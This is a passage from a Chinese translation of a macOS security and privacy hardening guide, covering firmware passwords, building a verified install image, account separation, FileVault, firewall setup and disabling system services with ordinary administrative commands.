安全公告](https://lists.apple.com/mailman/listinfo/security-announce))。 * 对敏感数据进行加密 * 除了对整个磁盘加密之外,创建一个或者多个加密的容器,用它们来保存一些你的密码、秘钥、那些个人文件和余下的其他数据。 * 这有助于减少数据泄露造成的危害。 * 经常备份数据 * 定期创建[数据备份](https://www.amazon.com/o/ASIN/0596102461/backupcentral),并且做好遇到危机时候的数据恢复工作。 * 在拷贝数据备份到外部存储介质或者 “云” 系统中之前,始终对它们进行加密。 * 定期对备份进行测试,验证它们是可以工作的。例如,访问某一部分文件或者对比哈希校验值。 * 注意钓鱼网站 * 最后,具有高安全意识的管理员能大大降低系统的安全风险。 * 在安装新软件的时候,请加倍小心。始终选择[自由的软件](https://www.gnu.org/philosophy/free-sw.en.html)和开源的软件([当然了,macOS 不是开源的](https://superuser.com/questions/19492/is-mac-os-x-open-source)) ## 固件 为固件设定一个密码,它能阻止除了你的启动盘之外的任何其它设备启动你的 Mac 电脑。它也能设定成每次启动时为必选项。 [当你的计算机被盗或者丢失的时候,这个功能是非常有用的](https://www.ftc.gov/news-events/blogs/techftc/2015/08/virtues-strong-enduser-device-controls),该功能可以防止直接内存访问从而可以读取您的 FileVault 密码并注入诸如 [pcileech](https://github.com/ufrisk/pcileech) 之类的内核模块这种攻击方式,因为唯一能重置固件密码的方式是通过 `Apple Store`,或者使用一个 [SPI 程序](https://reverse.put.as/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/),例如 [Bus Pirate](http://ho.ax/posts/2012/06/unbricking-a-macbook/) 或者其它刷新电路的程序。 1. 开始时,按下 `Command` 和 `R` 键来启动[恢复模式 / Recovery Mode](https://support.apple.com/en-au/HT201314)。 2. 当出现了恢复模式的界面,从 `Utilities / 工具` 菜单中选择 **Firmware Password Utility / 固件密码实用工具**。 3. 在固件工具窗口中,选择 **Turn On Firmware Password / 打开固件密码**。 4. 输入一个新的密码,之后在 **Verify / 验证** 处再次输入一样的密码。 5. 选择 **Set Password / 设定密码**。 6. 选择 **Quit Firmware Utility / 退出固件工具** 关闭固件密码实用工具。 7. 选择 Apple 菜单,并且选择重新启动或者关闭计算机。 这个固件密码会在下一次启动后激活。为了验证这个密码,在启动过程中按住 `Option` 键 - 按照提示输入密码。 当启动进操作系统以后。固件密码也能通过 `firmwarepasswd` 工具管理。例如,从另一个模式启动的时候可以这样: `$ sudo firmwarepasswd -setpasswd -setmode command` 输入一个密码然后重启。 <img width="750" alt="Using a Dediprog SF600 to dump and flash a 2013 MacBook SPI Flash chip to remove a firmware password, sans Apple" src="https://cloud.githubusercontent.com/assets/12475110/17075918/0f851c0c-50e7-11e6-904d-0b56cf0080c1.png"> **在没有 Apple 技术支持下,使用 [Dediprog SF600](http://www.dediprog.com/pd/spi-flash-solution/sf600) 来输出并且烧录一个 2013 款的 MacBook SPI 闪存芯片,或者移除一个固件密码** 可参考 [HT204455](https://support.apple.com/en-au/HT204455), [LongSoft/UEFITool](https://github.com/LongSoft/UEFITool) 或者 [chipsec/chipsec](https://github.com/chipsec/chipsec) 了解更多信息。 ## 准备和安装 macOS 有很多种方式来安装一个全新的 macOS 副本。 最简单的方式是在启动过程中按住 `Command` 和 `R` 键进入 [Recovery Mode / 恢复模式](https://support.apple.com/en-us/HT201314)。系统镜像文件能够直接从 `Apple` 官网上下载并且使用。然而,这样的方式会以明文形式直接在网络上暴露出你的机器识别码和其它的识别信息。 <img width="500" alt="PII is transmitted to Apple in plaintext when using macOS Recovery" src="https://cloud.githubusercontent.com/assets/12475110/20312189/8987c958-ab20-11e6-90fa-7fd7c8c1169e.png"> **在 macOS 恢复过程中,捕获到未加密的 HTTP 会话包** 另一种方式是,从 [App Store](https://itunes.apple.com/us/app/macos-sierra/id1127487414) 或者其他地方下载 **macOS Sierra** 安装程序,之后创建一个自定义可安装的系统镜像。 这个 macOS Sierra 安装应用程序是经过[代码签名的](https://developer.apple.com/library/mac/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW6),它可以使用 `code sign` 命令来验证并确保你接收到的是一个正版文件的拷贝。 ``` $ codesign -dvv /Applications/Install\ macOS\ Sierra.app Executable=/Applications/Install macOS Sierra.app/Contents/MacOS/InstallAssistant Identifier=com.apple.InstallAssistant.Sierra Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20200 size=297 flags=0x200(kill) hashes=5+5 location=embedded Signature size=4167 Authority=Apple Mac OS Application Signing Authority=Apple Worldwide Developer Relations Certification Authority Authority=Apple Root CA Info.plist entries=30 TeamIdentifier=K36BKF7T3D Sealed Resources version=2 rules=7 files=137 Internal requirements count=1 size=124 ``` macOS 安装程序也可以由 `createinstallmedia` 工具制作,它在 `Install macOS Sierra.app/Contents/Resources/` 文件路径中。请参考[为 macOS 制作一个启动安装程序](https://support.apple.com/en-us/HT201372),或者直接运行这个命令(不需要输入任何参数),看看它是如何工作的。 **注意** Apple 的安装程序[并不能跨版本工作](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/120)。如果你想要创造一个 10.12 的镜像,例如,以下指令也必须要在 10.12 的机器上运行! 为了创建一个 **macOS USB 启动安装程序**,需要挂载一个 USB 驱动器,清空它的内容、进行重新分区,之后使用 `createinstallmedia` 工具: ``` $ diskutil list [Find disk matching correct size, usually "disk2"] $ diskutil unmountDisk /dev/disk2 $ diskutil partitionDisk /dev/disk2 1 JHFS+ Installer 100% $ cd /Applications/Install\ macOS\ Sierra.app $ sudo ./Contents/Resources/createinstallmedia --volume /Volumes/Installer --applicationpath /Applications/Install\ macOS\ Sierra.app --nointeraction Erasing Disk: 0%... 10%... 20%... 30%... 100%... Copying installer files to disk... Copy complete. Making disk bootable... Copying boot files... Copy complete. Done. ``` 为了创建一个自定义、可安装的镜像,能用它恢复一台 Mac 电脑,你需要找到 `InstallESD.dmg`,这个文件也包含在 `Install macOS Sierra.app` 中。 通过 `Finder` 找到,并在这个应用程序图标上点击鼠标右键,选择 **Show Package Contents / 显示包内容**,之后从 **Contents / 内容** 进入到 **SharedSupport / 共享支持**,找到 `InstallESD.dmg` 文件。 你能通过 `openssl sha1 InstallESD.dmg` 、`shasum -a 1 InstallESD.dmg` 或者 `shasum -a 256 InstallESD.dmg` 得到的加密过的哈希值[验证](https://support.apple.com/en-us/HT201259)来确保你得到的是同一份正版拷贝(在 Finder 中,你能把文件直接拷贝到终端中,它能提供这个文件的完整路径地址)。 可以参考 [HT204319](https://support.apple.com/en-us/HT204319),它能确定你最初采购来的计算机使用了哪个版本的 macOS,或者哪个版本适合你的计算机。 可以参考 [InstallESD_Hashes.csv](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/blob/master/InstallESD_Hashes.csv) 这个在我代码仓库中的文件,它是现在和之前该版本文件的哈希值。你也可以使用 Google 搜索这些加密的哈希值,确保这个文件是正版且没有被修改过的。 可以使用 [MagerValp/AutoDMG](https://github.com/MagerValp/AutoDMG) 来创建这个镜像文件,或者手动创建、挂载和安装这个操作系统到一个临时镜像中: $ hdiutil attach -mountpoint /tmp/install_esd ./InstallESD.dmg $ hdiutil create -size 32g -type SPARSE -fs HFS+J -volname "macOS" -uid 0 -gid 80 -mode 1775 /tmp/output.sparseimage $ hdiutil attach -mountpoint /tmp/os -owners on /tmp/output.sparseimage $ sudo installer -pkg /tmp/install_esd/Packages/OSInstall.mpkg -tgt /tmp/os -verbose 这一步需要花费一些时间,请耐心等待。你能使用 `tail -F /var/log/install.log` 命令在另一个终端的窗口内查看进度。 **(可选项)** 安装额外的软件,例如,[Wireshark](https://www.wireshark.org/download.html): $ hdiutil attach Wireshark\ 2.2.0\ Intel\ 64.dmg $ sudo installer -pkg /Volumes/Wireshark/Wireshark\ 2.2.0\ Intel\ 64.pkg -tgt /tmp/os $ hdiutil unmount /Volumes/Wireshark 遇到安装错误时,请参考 [MagerValp/AutoDMG/wiki/Packages-Suitable-for-Deployment](https://github.com/MagerValp/AutoDMG/wiki/Packages-Suitable-for-Deployment),使用 [chilcote/outset](https://github.com/chilcote/outset) 来替代解决首次启动时候的包和脚本。 当你完成的时候,分离、转换并且验证这个镜像: $ hdiutil detach /tmp/os $ hdiutil detach /tmp/install_esd $ hdiutil convert -format UDZO /tmp/output.sparseimage -o ~/sierra.dmg $ asr imagescan --source ~/sierra.dmg 现在,`sierra.dmg` 已经可以被用在一个或者多个 Mac 电脑上了。它能继续自定义化这个镜像,比如包含预先定义的用户、应用程序、预置参数等。 这个镜像能使用另一个在 [Target Disk Mode / 目标磁盘模式](https://support.apple.com/en-us/HT201462) 下的 Mac 进行安装,或者从 USB 启动安装盘安装。 为了使用 **Target Disk Mode / 目标磁盘模式**,按住 `T` 键的同时启动 Mac 电脑,并且通过 `Firewire` 接口,`Thunderbolt` 接口或者 `USB-C` 线连接另外一台 Mac 电脑。 如果你没有其它 Mac 电脑,通过启动的时候,按住 **Option** 键用 USB 安装盘启动,把 `sierra.dmg` 和其它需要的文件拷贝到里面。 执行 `diskutil list` 来识别连接着的 Mac 磁盘,通常是 `/dev/disk2` **(可选项)** 一次性[安全清除](https://www.backblaze.com/blog/securely-erase-mac-ssd/)磁盘(如果之前通过 FileVault 加密,该磁盘必须先要解锁,并且装载在 `/dev/disk3s2`): $ sudo diskutil secureErase freespace 1 /dev/disk3s2 把磁盘分区改成 `Journaled HFS+` 格式: $ sudo diskutil unmountDisk /dev/disk2 $ sudo diskutil partitionDisk /dev/disk2 1 JHFS+ macOS 100% 把该镜像还原到新的卷中: $ sudo asr restore --source ~/sierra.dmg --target /Volumes/macOS --erase --buffersize 4m 你也能使用 **Disk Utility / 磁盘工具** 应用程序来清除连接着的 Mac 磁盘,之后将 `sierra.dmg` 还原到新创建的分区中。 如果你正确按照这些步骤执行,该目标 Mac 电脑应该安装了新的 macOS Sierra 了。 如果你想传送一些文件,把它们拷贝到一个共享文件夹,例如在挂载磁盘的镜像中, `/Users/Shared`,例如,`cp Xcode_8.0.dmg /Volumes/macOS/Users/Shared` <img width="1280" alt="Finished restore install from USB recovery boot" src="https://cloud.githubusercontent.com/assets/12475110/14804078/f27293c8-0b2d-11e6-8e1f-0fb0ac2f1a4d.png"> **完成从 USB 启动的还原安装** 这里还没有大功告成!除非你使用 [AutoDMG](https://github.com/MagerValp/AutoDMG) 创建了镜像,或者把 macOS 安装在你 Mac 上的其它分区内,你需要创建一块还原分区(为了使用对整个磁盘加密的功能)。你能使用 [MagerValp/Create-Recovery-Partition-Installer](https://github.com/MagerValp/Create-Recovery-Partition-Installer) 或者按照以下步骤: 请下载 [RecoveryHDUpdate.dmg](https://support.apple.com/downloads/DL1464/en_US/RecoveryHDUpdate.dmg) 这个文件。 ``` RecoveryHDUpdate.dmg SHA-256: f6a4f8ac25eaa6163aa33ac46d40f223f40e58ec0b6b9bf6ad96bdbfc771e12c SHA-1: 1ac3b7059ae0fcb2877d22375121d4e6920ae5ba ``` 添加并且扩展这个安装程序,之后执行以下命令: ``` $ hdiutil attach RecoveryHDUpdate.dmg $ pkgutil --expand /Volumes/Mac\ OS\ X\ Lion\ Recovery\ HD\ Update/RecoveryHDUpdate.pkg /tmp/recovery $ hdiutil attach /tmp/recovery/RecoveryHDUpdate.pkg/RecoveryHDMeta.dmg $ /tmp/recovery/RecoveryHDUpdate.pkg/Scripts/Tools/dmtest ensureRecoveryPartition /Volumes/macOS/ /Volumes/Recovery\ HD\ Update/BaseSystem.dmg 0 0 /Volumes/Recovery\ HD\ Update/BaseSystem.chunklist ``` 必要的时候把 `/Volumes/macOS` 替换成以目标磁盘启动的 Mac 的路径。 这个步骤需要花几分钟才能完成。再次执行 `diskutil list` 来确保 **Recovery HD** 已经存在 `/dev/disk2` 或者相似的路径下。 一旦你完成了这些,执行 `hdituil unmount /Volumes/macOS` 命令弹出磁盘,之后关闭以目标磁盘模式启动的 Mac 电脑。 ### 虚拟机 在虚拟机内安装 macOS,可以使用 [VMware Fusion](https://www.vmware.com/products/fusion.html) 工具,按照上文中的说明来创建一个镜像。你**不需要**再下载,也不需要手动创建还原分区。 ``` VMware-Fusion-8.5.6-5234762.dmg SHA-256: 57a879095c9fcce0066bea0d3c203571689fb53205915fda156c0d742f7c7ad2 SHA-1: b7315d00a7c92dbad280d0f01f42dd8b56d96040 ``` 选择 **Install OS X from the recovery parition** 这个安装方法。可自定义配置任意的内存和 CPU,之后完成设置。默认情况下,这个虚拟机应该进入 [Recovery Mode / 还原模式](https://support.apple.com/en-us/HT201314)。 在还原模式中,选择一个语言,之后在菜单条中由 Utilities 打开 Terminal。 在虚拟机内,输入 `ifconfig | grep inet` — 你应该能看到一个私有地址,比如 `172.16.34.129` 在 Mac 宿主机内,输入 `ifconfig | grep inet` — 你应该能看到一个私有地址,比如 `172.16.34.1` 通过修改 Mac 宿主机内的文件让可安装镜像对虚拟器起作用,比如,修改 `/etc/apache2/htpd.conf` 并且在该文件最上部增加以下内容:(使用网关分配给 Mac 宿主机的地址和端口号 80): Listen 172.16.34.1:80 在 Mac 宿主机上,把镜像链接到 Apache 网络服务器目录: $ sudo ln ~/sierra.dmg /Library/WebServer/Documents 在 Mac 宿主机的前台运行 Apache: $ sudo httpd -X 在虚拟机上通过本地网络命令 `asr`,安装镜像文件到卷分区内: ``` -bash-3.2# asr restore --source http://172.16.34.1/sierra.dmg --target /Volumes/Macintosh\ HD/ --erase --buffersize 4m Validating target...done Validating source...done Erase contents of /dev/disk0s2 (/Volumes/Macintosh HD)? [ny]: y Retrieving scan information...done Validating sizes...done Restoring ....10....20....30....40....50....60....70....80....90....100 Verifying ....10....20....30....40....50....60....70....80....90....100 Remounting target volume...done ``` 完成后,在 `sudo httpd -X` 窗口内通过 `Control` 和 `C` 组合键停止在宿主机 Mac 上运行的 Apache 网络服务器服务,并且通过命令 `sudo rm /Library/WebServer/Documents/sierra.dmg` 删除镜像备份文件。 在虚拟机内,在左上角 Apple 菜单中选择 **Startup Disk**,选择硬件驱动器并重启你的电脑。你可能想在初始化虚拟机启动的时候禁用网络适配器。 例如,在访问某些有风险的网站之前保存虚拟机的快照,并在之后用它还原该虚拟机。或者使用一个虚拟机来安装和使用有潜在问题的软件。 ## 首次启动 **注意** 在设置 macOS 之前,请先断开网络连接并且配置一个防火墙。然而,装备有触摸条(`Touch Bar`)的 [2016 最新款 MacBook](https://www.ifixit.com/Device/MacBook_Pro_15%22_Late_2016_Touch_Bar),它[需要在线激活系统](https://onemoreadmin.wordpress.com/2016/11/27/the-untouchables-apples-new-os-activation-for-touch-bar-macbook-pros/). 在首次启动时,按住 `Command` `Option` `P` `R` 键位组合,它用于[清除 NVRAM](https://support.apple.com/en-us/HT204063)。 当 macOS 首次启动时,你会看到 **Setup Assistant / 设置助手** 的欢迎画面。 请在创建你个人账户的时候,使用一个没有任何提示的[高安全性密码](http://www.explainxkcd.com/wiki/index.php/936:_Password_Strength)。 如果你在设置账户的过程中使用了真实的名字,你得意识到,你的[计算机的名字和局域网的主机名](https://support.apple.com/kb/PH18720)将会因为这个名字而泄露 (例如,**John Applesseed's MacBook**),所以这个名字会显示在局域网络和一些配置文件中。这两个名字都能在 **System Preferences / 系统配置 > Sharing / 共享** 菜单中或者以下命令来改变: $ sudo scutil --set ComputerName your_computer_name $ sudo scutil --set LocalHostName your_hostname ## 管理员和普通用户账号 管理员账户始终是第一个账户。管理员账户是管理组中的成员并且有访问 `sudo` 的能力,允许它们修改其它账户,特别是 `root`,赋予它们对系统更高效的控制权。管理员执行的任何程序也有可能获得一样的权限,这就造成了一个安全风险。类似于 `sudo` 这样的工具[都有一些能被利用的弱点](https://bogner.sh/2014/03/another-mac-os-x-sudo-password-bypass/),例如在默认管理员账户运行的情况下,并行打开的程序或者很多系统的设定都是[处于解锁的状态](http://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) [p. 61–62]。[Apple](https://help.apple.com/machelp/mac/10.12/index.html#/mh11389) 提供了一个最佳实践和[其它一些方案](http://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) [p. 41–42],例如,为每天基本的工作建立一个单独的账号,使用管理员账号仅为了安装软件和配置系统。 每一次都通过 macOS 登录界面进入管理员帐号并不是必须的。系统会在需要认证许可的时候弹出提示框,之后交给终端就行了。为了达到这个目的,Apple 为隐藏管理员账户和它的根目录提供了一些[建议](https://support.apple.com/HT203998)。这对避免显示一个可见的 `影子` 账户来说是一个好办法。管理员账户也能[从 FileVault 里移除](http://apple.stackexchange.com/a/94373)。 #### 错误警告 1. 只有管理员账户才能把应用程序安装在 `/Applications` 路径下 (本地目录)。Finder 和安装程序将为普通用户弹出一个许可对话框。然而,许多应用程序都能安装在 `~/Applications` (该目录能被手动创建) 路径下。经验之谈: 那些不需要管理员权限的应用程序 — 或者在不在 `/Applications` 目录下都没关系的应用程序 — 都应该安装在用户目录内,其它的应安装在本地目录。Mac App Store 上的应用程序仍然会安装在 `/Applications` 并且不需要额外的管理员认证。 2. `sudo` 无法在普通用户的 shell 内使用,它需要使用 `su` 或者 `login` 在 shell 内输入一个管理员账户。这需要很多技巧和一些命令行界面操作的经验。 3. 系统配置和一些系统工具 (比如 Wi-Fi 诊断器) 为了所有的功能都能执行,它会需要 root 权限。在系统配置界面中的一些面板都是上锁的,所以需要单独的解锁按钮。一些应用程序在打开的时候会提示认证对话框,其它一些则需要通过一个管理员账号直接打开才能获得全部功能的权限。(例如 Console) 4. 有些第三方应用程序无法正确运行,因为它们假设当前的用户是管理员账户。这些程序只能在登录管理员账户的情况下才能被执行,或者使用 `open` 工具。 #### 设置 账户能在系统设置中创建和管理。在一个已经建立的系统中,通常很容易就能创建第二个管理员账号并且把之前的管理员帐号降级。这就避免了数据迁移的问题。新安装的系统都能增加普通账号。对一个账号降级能通过新建立的管理员帐号中的系统设置 — 当然那个管理员账号必须已经注销 — 或者执行这些命令(这两个指令可能没有必要都执行,可以参考[issue #179](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/179)): ``` $ sudo dscl . -delete /Groups/admin GroupMembership <username> $ sudo dscl . -delete /Groups/admin GroupMembers <GeneratedUID> ``` 通过以下指令,你就能发现你账号的 “GeneratedUID”: ``` $ dscl . -read /Users/<username> GeneratedUID ``` 也可以参考[这篇文章](https://superuser.com/a/395738),它能带给你有关更多 macOS 是如何确定组成员的内容。 ## 对整个磁盘进行数据加密 [FileVault](https://en.wikipedia.org/wiki/FileVault) 提供了在 macOS 上对整个磁盘加密的能力(技术上来说,是**整个卷宗**。) FileVault 加密在休眠的时候保护数据,并且使通过物理访问形式偷取数据或者使用你的 Mac 修改数据的某人更为艰难(但[不总是阻止](http://blog.frizk.net/2016/12/filevault-password-retrieval.html))。 因为大部分的加密操作都[高效地运作在硬件上](https://software.intel.com/en-us/articles/intel-advanced-encryption-standard-aes-instructions-set/),性能上的损失对 FireVault 来说并不凸显。 FileVault 的安全性依赖于伪随机数生成器 (PRNG)。 > 这个随机设备实现了 Yarrow 伪随机数生成器算法并且维护着它自己的熵池。额外的熵值通常由守护进程 SecurityServer 提供,它由内核测算得到的随机抖动决定。 > SecurityServer 也常常负责定期保存一些熵值到磁盘,并且在启动的时候重新加载它们,把这些熵值提供给早期的系统使用。 参考 `man 4 random` 获得更多信息。 在开启 FileVault 之前,PRNG 也能通过写入 /dev/random 文件手动提供熵的种子。也就是说,在激活 FileVault 之前,我们能用这种方式撑一段时间。 在启用 FileVault **之前**,手动配置种子熵: $ cat > /dev/random [Type random letters for a long while, then press Control-D] 通过 `sudo fdsetup enable` 启用 FileVault 或者通过 **System Preferences** > **Security & Privacy** 之后重启电脑。 如果你能记住你的密码,那就没有理由不保存一个**还原秘钥**。然而,如果你忘记了密码或者还原秘钥,那意味着你加密的数据将永久丢失了。 如果你想深入了解 FileVault 是如何工作得, 可以参考这篇论文 [Infiltrate the Vault: Security Analysis and Decryption of Lion Full Disk Encryption](https://eprint.iacr.org/2012/374.pdf) (pdf) 和这篇相关的[演讲文稿](http://www.cl.cam.ac.uk/~osc22/docs/slides_fv2_ifip_2013.pdf) (pdf)。也可以参阅 [IEEE Std 1619-2007 “The XTS-AES Tweakable Block Cipher”](http://libeccio.di.unisa.it/Crypto14/Lab/p1619.pdf) (pdf). 你可能希望强制开启**休眠**并且从内存中删除 FileVault 的秘钥,而非一般情况下系统休眠对内存操作的处理方式: $ sudo pmset -a destroyfvkeyonstandby 1 $ sudo pmset -a hibernatemode 25 > 所有计算机都有 EFI 或 BIOS 这类的固件,它们帮助发现其它硬件,最终使用所需的操作系统实例把计算机正确启动起来。以 Apple 硬件和 EFI 的使用来说,Apple 把有关的信息保存在 EFI 内,它辅助 macOS 的功能正确运行。举例来说,FileVault 的秘钥保存在 EFI 内,在待机模式的时候出现。 > 那些容易被高频攻击的部件,或者那些待机模式下,容易被暴露给所有设备访问的设备,它们都应该销毁在固件中的 FileVault 秘钥来减少这个风险。这么干并不会影响 FileVault 的正常使用,但是系统需要用户在每次跳出待机模式的时候输入这个密码。 如果你选择在待机模式下删除 FileVault 秘钥,你也应该修改待机模式的设置。否则,你的机器可能无法正常进入待机模式,会因为缺少 FileVault 秘钥而关机。参考 [issue #124](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/124) 获得更多信息。可以通过以下命令修改这些设置: $ sudo pmset -a powernap 0 $ sudo pmset -a standby 0 $ sudo pmset -a standbydelay 0 $ sudo pmset -a autopoweroff 0 如果你想了解更多, 请参考 [Best Practices for Deploying FileVault 2](http://training.apple.com/pdf/WP_FileVault2.pdf) (pdf) 和这篇论文 [Lest We Remember: Cold Boot Attacks on Encryption Keys](https://www.usenix.org/legacy/event/sec08/tech/full_papers/halderman/halderman.pdf) (pdf) ## 防火墙 在准备连接进入互联网之前,最好是先配置一个防火墙。 在 macOS 上有好几种防火墙。 #### 应用程序层的防火墙 系统自带的那个基本的防火墙,它只阻止**对内**的连接。 注意,这个防火墙没有监控的能力,也没有阻止**对外**连接的能力。 它能在 **System Preferences** 中 **Security & Privacy** 标签中的 **Firewall** 控制,或者使用以下的命令。 开启防火墙: $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on 开启日志: $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setloggingmode on 你可能还想开启私密模式: $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on > 计算机黑客会扫描网络,所以它们能标记计算机并且实施网络攻击。你能使用**私密模式**,避免你的计算机响应一些这样的恶意扫描。当开启了防火墙的私密模式后,你的计算机就不会响应 ICMP 请求,并且不响应那些已关闭的 TCP 或 UDP 端口的连接。这会让那些网络攻击者们很难发现你的计算机。 最后,你可能会想阻止**系统自带的软件**和**经过代码签名,下载过的软件自动加入白名单:** $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsigned off $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsignedapp off > 那些经过一个认证签名的应用程序会自动允许加入列表,而不是提示用户再对它们进行认证。包含在 OS X 内的应用程序都被 Apple 代码签名,并且都允许接对内的连接,当这个配置开启了。举例来说,因为 iTunes 已经被 Apple 代码签名,所以它能自动允许防火墙接收对内的连接。 > 如果你执行一个未签名的应用程序,它也没有被纳入防火墙白名单,此时一个带允许或者拒绝该连接选项的对话框会出现。如果你选择“允许连接”,macOS 对这个应用程序签名并且自动把它增加进防火墙的白名单。如果你选择“拒绝连接”,macOS 也会把它加入名单中,但是会拒绝对这个应用程序的对内连接。 在使用完 `socketfilterfw` 之后,你需要重新启动(或者结束)这个进程: $ sudo pkill -HUP socketfilterfw #### 第三方防火墙 例如 [Little Snitch](https://www.obdev.at/products/littlesnitch/index.html), [Hands Off](https://www.oneperiodic.com/products/handsoff/), [Radio Silence](http://radiosilenceapp.com/) 和 [Security Growler](https://pirate.github.io/security-growler/) 这样的程序都提供了一个方便、易用且安全的防火墙。 <img width="349" alt="Example of Little Snitch monitored session" src="https://cloud.githubusercontent.com/assets/12475110/10596588/c0eed3c0-76b3-11e5-95b8-9ce7d51b3d82.png"> **以下是一段 Little Snitch 监控会话的例子** ``` LittleSnitch-3.7.4.dmg SHA-256: b0ce3519d72affbc7910c24c264efa94aa91c9ad9b1a905c52baa9769156ea22 SHA-1: 868ad75623c60cb9ad428c7c1d3e5ae449a9033e ``` 这些程序都具备有监控和阻拦**对内**和**对外**网络连接的能力。然而,它们可能会需要使用一个闭源的[内核扩展](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/KernelProgramming/Extend/Extend.html)。 如果过多的允许或者阻拦网络连接的选择让你不堪重负,使用配置过白名单的**静谧模式**,之后定期检查你设定项,来了解这么多应用程序都在干什么。 需要指出的是,这些防火墙都会被以 **root** 权限运行的程序绕过,或者通过 [OS vulnerabilities](https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf) (pdf),但是它们还是值得拥有的 — 只是不要期待完全的保护。然而,一些恶意软件实际上能[自我删除](https://www.cnet.com/how-to/how-to-remove-the-flashback-malware-from-os-x/),如果发现 `Little Snitch` 或者其他一些安全软件已经安装,它就根本不启动。 若想了解更多有关 Little Snitch 是如何工作的,可参考以下两篇文章:[Network Kernel Extensions Programming Guide](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/socket_nke/socket_nke.html#//apple_ref/doc/uid/TP40001858-CH228-SW1) 和 [Shut up snitch! – reverse engineering and exploiting a critical Little Snitch vulnerability](https://reverse.put.as/2016/07/22/shut-up-snitch-reverse-engineering-and-exploiting-a-critical-little-snitch-vulnerability/). #### 内核级的数据包过滤 有一个高度可定制化、功能强大,但的确也是最复杂的防火墙存在内核中。它能通过 `pfctl` 或者很多配置文件控制。 pf 也能通过一个 GUI 应用程序控制,例如 [IceFloor](http://www.hanynet.com/icefloor/) 或者 [Murus](http://www.murusfirewall.com/)。 有很多书和文章介绍 pf 防火墙。这里,我们只介绍一个有关通过 IP 地址阻拦访问的例子。 将以下内容增加到 `pf.rules` 文件中: ``` set block-policy drop set fingerprints "/etc/pf.os" set ruleset-optimization basic set skip on lo0 scrub in all no-df table <blocklist> persist block in log block in log quick from no-route to any pass out proto tcp from any to any keep state pass out proto udp from any to any keep state block log on en0 from {<blocklist>} to any ``` 使用以下命令: * `sudo pfctl -e -f pf.rules` — 开启防火墙 * `sudo pfctl -d` — 禁用防火墙 * `sudo pfctl -t blocklist -T add 1.2.3.4` — 把某个主机加入阻止清单中 * `sudo pfctl -t blocklist -T show` — 查看阻止清单 * `sudo ifconfig pflog0 create` — 为某个接口创建日志 * `sudo tcpdump -ni pflog0` — 输出打印数据包 我不建议你花大量时间在如何配置 pf 上,除非你对数据包过滤器非常熟悉。比如说,如果你的 Mac 计算机连接在一个 [NAT](https://www.grc.com/nat/nat.htm) 后面,它存在于一个安全的家庭网络中,那以上操作是完全没有必要的。 可以参考 [fix-macosx/net-monitor](https://github.com/fix-macosx/net-monitor) 来了解如何使用 pf 监控用户和系统级别对“背景连接通讯"的使用。 ## 系统服务 在你连接到互联网之前,你不妨禁用一些系统服务,它们会使用一些资源或者后台连接通讯到 Apple。 可参考这三个代码仓库获得更多建议,[fix-macosx/yosemite-phone-home](https://github.com/fix-macosx/yosemite-phone-home), [l1k/osxparanoia](https://github.com/l1k/osxparanoia) 和 [karek314/macOS-home-call-drop](https://github.com/karek314/macOS-home-call-drop)。 在 macOS 上的系统服务都由 **launchd** 管理。可参考 [launchd.info](http://launchd.info/),也可以参考以下两个材料,[Apple's Daemons and Services Programming Guide](https://developer.apple.com/library/mac/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html) 和 [Technical Note TN2083](https://developer.apple.com/library/mac/technotes/tn2083/_index.html)。 你也可以运行 [KnockKnock](https://github.com/synack/knockknock),它能展示出更多有关启动项的内容。 * 使用 `launchctl list` 查看正在运行的用户代理 * 使用 `sudo launchctl list` 查看正在运行的系统守护进程 * 通过指定服务名称查看,例如,`launchctl list com.apple.Maps.mapspushd` * 使用 `defaults read` 来检查在 `/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents` 工作中的 plist * 使用 `man`,`strings` 和 Google 来学习运行中的代理和守护进程是什么 举例来说,想要知道某个系统启动的守护进程或者代理干了什么,可以输入以下指令: $ defaults read /System/Library/LaunchDaemons/com.apple.apsd.plist 看一看 `Program` 或者 `ProgramArguments` 这两个部分的内容,你就知道哪个二进制文件在运行,此处是 `apsd`。可以通过 `man apsd` 查看更多有关它的信息。 再举一个例子,如果你对 `Apple Push Nofitications` 不感兴趣,可以禁止这个服务: $ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.apsd.plist **注意** 卸载某些服务可能造成某些应用程序无法使用。首先,请阅读手册或者使用 Google 检索确保你明白自己在干什么。 禁用那些你不理解的系统进程的时候一定要万分小心,因为它可能会让你的系统瘫痪无法启动。如果你弄坏了你的 Mac,可以使用[单一用户模式](https://support.apple.com/en-us/HT201573)来修复。 如果你觉得 Mac 持续升温,感觉卡顿或者常常表现出诡异的行为,可以使用 [Console](https://en.wikipedia.org/wiki/Console_(OS_X)) 和 [Activity Monitor](https://support.apple.com/en-us/HT201464) 这两个应用程序,因为这可能是你不小心操作造成的。 以下指令可以查看现在已经禁用的服务: $ find /var/db/com.apple.xpc.launchd/ -type f -print -exec defaults read {} \; 2>/dev/null 有详细注释的启动系统守护进程和代理的列表,各自运行的程序和程序的哈希校验值都包含在这个代码仓库中了。 **(可选项)** 运行 `read_launch_plists.py` 脚本,使用 `diff` 输出和你系统对比后产生的差异,例如: $ diff <(python read_launch_plists.py) <(cat 16A323_launchd.csv) 你可以参考这篇 [cirrusj.github.io/Yosemite-Stop-Launch](http://cirrusj.github.io/Yosemite-Stop-Launch/),它对具体服务进行了一些解释, 也可以看看这篇 [Provisioning OS X and Disabling Unnecessary 